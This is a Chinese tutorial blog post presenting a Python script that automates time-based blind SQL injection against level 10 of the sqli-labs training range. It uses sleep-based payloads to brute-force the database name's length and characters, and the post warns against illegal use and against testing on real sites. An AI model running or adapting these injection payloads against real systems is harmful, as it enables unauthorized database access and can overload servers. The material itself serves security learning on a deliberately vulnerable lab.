当前位置: 首页 > news >正文

sqli-labs靶场自动化利用工具——第10关

文章目录

  • 概要
  • 整体架构流程
  • 技术细节
  • 执行效果
  • 小结

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第10关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

第10关使用的也是暴力破解的原理,在真实网站测试时最好不要使用,极有可能使对方服务器瘫痪。这个只是讨论学习,不要用于非法用途。

和第9关一样没有在数据库最大长度上添加安全校验,有兴趣的小伙伴可以自行添加。

且和第九关的区别主要是在单引号和双引号的区别,其他类似。

技术细节

import requests
import time# 全局变量
url = 'http://sql:8081/Less-10/'
headers = {'Host': 'sql:8081','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Upgrade-Insecure-Requests': '1','Priority': 'u=0, i'
}def verify_length(length):params = {'id': f'1" and if(length(database())={length}, sleep(5), 0)-- -'}for _ in range(3):  # 尝试3次try:start_time = time.time()response = requests.get(url, headers=headers, params=params, verify=False, timeout=10)response_time = time.time() - start_timeif response_time >= 4.5:return Trueexcept requests.RequestException as e:print(f"请求错误: {e}")return Falsedef brute_dblength():try:max_dblength = int(input('数据库可能最大长度:').strip())except ValueError:print("请输入一个有效的数字")return Nonefor dblength in range(1, max_dblength + 1):print(f"正在测试长度: {dblength}")if verify_length(dblength):print(f'{url} 存在漏洞,数据库长度为 {dblength}')return dblengthprint(f'数据库长度大于 {max_dblength},请尝试增加最大长度。')return Nonedef brute_dbname(dblength):dbname = ''for position in range(1, dblength + 1):for ascii_code in range(97, 123, 1):  # 所有可打印ASCII字符params = {'id': f'1" and if(ascii(substr(database(),{position},1))={ascii_code}, sleep(1), 0)-- -'}try:start_time = time.time()response = requests.get(url, headers=headers, params=params, verify=False, timeout=5)response_time = time.time() - start_timeif response_time >= 0.9:  # 使用稍小的阈值dbname += chr(ascii_code)print(f'发现数据库名称的第 {position} 个字符: {chr(ascii_code)}')breakexcept requests.RequestException as e:print(f'Error scanning {url}: {e}')return Noneelse:print(f'数据库名称的第 {position} 个字符未找到匹配。')return Noneprint(f'完整的数据库名称为: {dbname}')return dbnamedef main():print("开始数据库长度探测")dblength = brute_dblength()if dblength:print("开始数据库名称探测")brute_dbname(dblength)else:print("无法确定数据库长度,程序终止")if __name__ == "__main__":main()

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 新增的标准流程
  • vue3项目实现全局国际化
  • BClinux docker安装kong和konga
  • 配置Grounded-Segment-Anything出现_C not defined 或者 运行时expected type half问题(亲测解决)
  • HarmonyOS Next鸿蒙扫一扫功能实现
  • vue2的diff算法
  • Python数据分析案例60——扩展变量后的神经网络风速预测(tsfresh)
  • Fish Speech - 新的 TTS 解决方案
  • Golang | Leetcode Golang题解之第412题Fizz Buzz
  • Holynix: v1
  • 【C++】入门基础(上)
  • c++234继承
  • 【Git】Clone
  • Autosar BswM配置-手动建立Swc Port实现自定义模式切换
  • 【激活函数】Activation Function——在卷积神经网络中的激活函数是一个什么样的角色??
  • Fundebug计费标准解释:事件数是如何定义的?
  • IE报vuex requires a Promise polyfill in this browser问题解决
  • Javascript弹出层-初探
  • leetcode-27. Remove Element
  • Python 反序列化安全问题(二)
  • React 快速上手 - 06 容器组件、展示组件、操作组件
  • 官方新出的 Kotlin 扩展库 KTX,到底帮你干了什么?
  • 技术胖1-4季视频复习— (看视频笔记)
  • 讲清楚之javascript作用域
  • 聚簇索引和非聚簇索引
  • 开放才能进步!Angular和Wijmo一起走过的日子
  • 力扣(LeetCode)357
  • 每天一个设计模式之命令模式
  • 使用agvtool更改app version/build
  • 详解移动APP与web APP的区别
  • 一文看透浏览器架构
  • 如何用纯 CSS 创作一个菱形 loader 动画
  • ​【经验分享】微机原理、指令判断、判断指令是否正确判断指令是否正确​
  • ​DB-Engines 11月数据库排名:PostgreSQL坐稳同期涨幅榜冠军宝座
  • ​Java基础复习笔记 第16章:网络编程
  • # windows 安装 mysql 显示 no packages found 解决方法
  • (2024,LoRA,全量微调,低秩,强正则化,缓解遗忘,多样性)LoRA 学习更少,遗忘更少
  • (4)Elastix图像配准:3D图像
  • (补充):java各种进制、原码、反码、补码和文本、图像、音频在计算机中的存储方式
  • (回溯) LeetCode 78. 子集
  • (免费分享)基于springboot,vue疗养中心管理系统
  • (十六)Flask之蓝图
  • (十三)Maven插件解析运行机制
  • (四)库存超卖案例实战——优化redis分布式锁
  • *ST京蓝入股力合节能 着力绿色智慧城市服务
  • .locked1、locked勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .net 7和core版 SignalR
  • .NET Core WebAPI中封装Swagger配置
  • .NET Core跨平台微服务学习资源
  • .NET Windows:删除文件夹后立即判断,有可能依然存在
  • .net 前台table如何加一列下拉框_如何用Word编辑参考文献
  • .NET/C# 使用反射注册事件
  • .NET6 开发一个检查某些状态持续多长时间的类
  • .net之微信企业号开发(一) 所使用的环境与工具以及准备工作
  • @autowired注解作用_Spring Boot进阶教程——注解大全(建议收藏!)